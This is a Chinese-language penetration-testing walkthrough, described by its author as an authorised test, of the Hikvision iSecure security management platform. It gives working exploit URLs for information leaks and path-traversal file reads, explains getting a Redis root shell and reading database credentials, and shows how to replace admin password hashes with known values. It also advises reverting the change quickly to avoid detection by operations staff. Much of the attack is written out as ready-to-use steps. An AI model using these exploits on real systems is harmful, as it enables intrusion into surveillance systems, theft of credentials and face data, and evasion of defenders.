前言
远离一线很久了,很难有实战的机会。碰到Hikvision的漏洞,市面上的很多文章又很模糊,自己摸全点做个详细记录。
参考文章,向佬学习。本次测试为内部授权测试,已脱敏。
https://mp.weixin.qq.com/s/zvo195UQvWwTppmCsnW9FA
https://seveo.cn/archives/8
一、工具汇总(均为官网,其他工具请自行下载)
指纹识别工具:
observer_ward
hikvision专项扫描工具:
Hikvision-
redis客户端连接工具:
redis-cli
密码解密工具:(后续密码均用这个解密)
DecryptTools
ldap连接工具:
LdapAdminTool
补充:前台界面长这样。应该还有其他版本,主要看指纹识别吧。
二、敏感信息泄露+文件读取
shell类型漏洞略过(这类应该蛮多的,还没遇到过),这里主要介绍敏感信息泄露+文件读取组合利用。很多文章都是展示一下漏洞,并未进行深入利用。这里我尽量全的拓展漏洞成果,缺失的地方欢迎补充。
Hikvision综合安防管理平台config信息泄露漏洞
https://xxx/portal/conf/config.properties
存在Hikvision综合安防管理平台env信息泄露漏洞
https://xxx/artemis-portal/artemis/env
Hikvision综合安防管理平台orgManage任意文件读取漏洞
https://xxx/center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd
Hikvision综合安防管理平台files任意文件读取漏洞
https://xxx/lm/api/files;.css?link=/etc/passwd
每种类型均有两个漏洞入口,信息泄露主要利用/portal/conf/config.properties,文件读取随意,我用/lm/api/files;.css?link=/etc/passwd,问就是路径短。
三、敏感信息利用
https://xxx/portal/conf/config.properties
1_a、文件内容解析
http://ip:8001
看到http标识,这是个web。8001是运行管理中心后台。有的文章写8080端口,其实都一样,主要看配置文件怎么写。
后台界面
IP:7002
据说是activeMQ的消息交互端口,但是没找到相关连接工具
文章来源:http://www.cmd8.com/post/493.html
ip:7019
这是个redis数据库配置,一开始琢磨了半天,怎么用户名是空的。
ip:7092
这是核心postgresql数据库,密码不在这,后续再说
1_b、利用
目前已有信息,只能链接redis
或者直接主从复制拿root shell(推荐工具:redis-rogue-getshell)
有乱码,简单改了下代码,无法解码不退出。这里未做站库分离,理论上可写个shell去web界面连马子,方便找文件。由于是业务服务器,我就尽量少的变动服务器内容了,点到为止。
2、登录前台
海康威视综合安防平台(iSecure) 运行管理中心前台登录数据库配置文件路径:
windows路径:D:/hikvision/web/components/postgresql96win64.1/conf/config.properties
Linux路径:/opt/hikvision/web/components/postgresql11linux64.1/conf/config.properties
运行管理中心前台登陆用户: 数据库:irds_irdsdb 用户表:tb_user
前台地址:https://xx:443
对user_pwd和salt替换,用以重置admin的密码为hik123456
user_pwd:1909408d3304f41421caae1fd5df984f21d70b516a315d375f94f87861eedc92
Salt:938f7ad2436f3084a19dee5dc2e7a513892b696a8069a2f886ada7562226b1cc
利用文件读取漏洞读取前台配置文件
https://ip/lm/api/files;.css?link=/opt/hikvision/web/opsMgrCenter/conf/config.properties
postgresql密码在这
ip:7092 postgres/xxx
直连数据库,找到上述的center_user表
记录原始的pwd和salt值,然后替换登录前台(厚码)
注:登录后可立刻修改回去,页面不会掉,避免被运维人员发现。大量人脸库数据,hvv的话数据分应该拿满了。
3、登录后台
海康威视综合安防平台(iSecure) 运行管理中心后台登录数据库配置文件路径:
windows路径:D:/hikvision/web/opsMgrCenter/conf/config.properties
Linux路径:/opt/hikvision/web/opsMgrCenter/conf/config.properties
运行管理中心后台登陆用户: 数据库:opsmgr_db 用户表:center_user
后台地址:http://ip:8001
对c_password和c_salt替换,用以重置admin的密码为hik123456
c_password:1909408d3304f41421caae1fd5df984f21d70b516a315d375f94f87861eedc92
c_salt:938f7ad2436f3084a19dee5dc2e7a513892b696a8069a2f886ada7562226b1cc
利用文件读取漏洞读取后台配置文件
/opt/hikvision/web/opsMgrCenter/conf/config.properties
这是另一个数据库,也是postgresql数据库,直接连接,后续修改的字段在这个库里
ip:7001
连接数据库替换密码,登录后台
注意用户名为sysadmin,好像是个集群管理后台,hikvision的设备应该都在这管理。东西蛮多,没细翻,好像还有摄像头?这里的分应该也不少。
至此,服务器和核心后台均已拿下。postgresql我没提权,有胆大的可以自己试试。(redis已经拿了服务器root了,就没必要了)。这里多说一句:提权有风险!宕机泪两行!
四、其他数据库及web后台
放个佬的汇总文件,有兴趣的自己慢慢找
1. /opt/hikvision/web/components/ntp.1/conf/config.properties
NTP 服务:网络时间协议 (NTP) 的配置文件,用于时间同步。可能包含 NTP 服务器的认证信息。
2. /opt/hikvision/web/components/activemq514linux64.1/conf/config.properties
ActiveMQ:消息队列服务的配置文件。可能包含用于连接 ActiveMQ 服务的用户名和密码。
3. /opt/hikvision/web/components/cluster.1/conf/config.properties
Cluster:集群配置文件,用于管理多台服务器的集群。可能包含集群管理的认证信息。
4. /opt/hikvision/web/components/lm.1/conf/config.properties
License Manager:许可证管理服务的配置文件。可能包含用于连接许可证服务器的用户名和密码。
5. /opt/hikvision/web/components/ls.1/conf/config.properties
Logging Service:日志服务的配置文件。可能包含用于连接日志服务器的认证信息。
6. /opt/hikvision/web/components/lsm.1/conf/config.properties
License Server Manager:许可证服务器管理服务的配置文件。可能包含用于连接许可证服务器的用户名和密码。
7. /opt/hikvision/web/components/mps.1/conf/config.properties
Media Processing Service:媒体处理服务的配置文件。可能包含用于连接媒体处理服务的用户名和密码。
8. /opt/hikvision/web/components/nodejslinux64.1/conf/config.properties
Node.js:Node.js 环境的配置文件。可能包含 Node.js 应用的配置和认证信息。
9. /opt/hikvision/web/components/openjdk11linux64.1/conf/config.properties
OpenJDK:Java 环境的配置文件。可能包含 Java 应用的配置和认证信息。
10. /opt/hikvision/web/components/postgresql11linux64.1/conf/config.properties
PostgreSQL:PostgreSQL 数据库的配置文件。通常包含数据库的连接信息,包括用户名和密码。
11. /opt/hikvision/web/components/redislinux64.1/conf/config.properties
Redis:Redis 数据库的配置文件。通常包含 Redis 的连接信息,包括认证密码。
12. /opt/hikvision/web/components/reportservice.1/conf/config.properties
Report Service:报表服务的配置文件。可能包含用于连接报表服务的认证信息。
13. /opt/hikvision/web/components/svm.1/conf/config.properties
Service Virtual Machine:服务虚拟机的配置文件。可能包含虚拟机服务的配置和认证信息。
14. /opt/hikvision/web/components/tomcat85linux64.1/conf/config.properties
Tomcat:Tomcat Web 服务器的配置文件。通常包含用于管理 Tomcat 服务器的用户名和密码。
1、补充下上面没利用完的
/opt/hikvision/web/opsMgrCenter/conf/config.properties
在上面这个链接最下面,还有一个ldap的账密,也可连接。这个ldap其实是核心数据库(ip:7092)的部分数据,用来读;postgresql用来写。从数据分上来说,估计是重复的。
补充:LDAP,轻量级目录访问协议。优点是读取速度快,是流行的统一身份认证解决方案。
注意填写的方式,填写=号后的完整信息。
注:多个连接方式,这里不放图了,码不住
BaseDN: dc=platform,dc=hikvision,dc=com (可不填)
UserDN: cn=Manager,dc=hikvision,dc=com
Password: pass
2、其他配置利用
/opt/hikvision/web/components/activemq514linux64.1/conf/config.properties
ActiveMQ web及账密,我这里无法访问登录界面
http://ip:8028 admin/pass
/opt/hikvision/web/components/lm.1/conf/config.properties
7092那个postgresql的子账号,数据库也是从属关系,而且权限没7092那个高,没啥用。凑分
/opt/hikvision/web/components/mps.1/conf/config.properties
不知道啥,我这个环境没开
http://ip:8030 admin/pass
做到一半403了...算了,自己挨个找吧。还有个Minio、未授权web没来得及截图。其他的看环境了,开了就是分。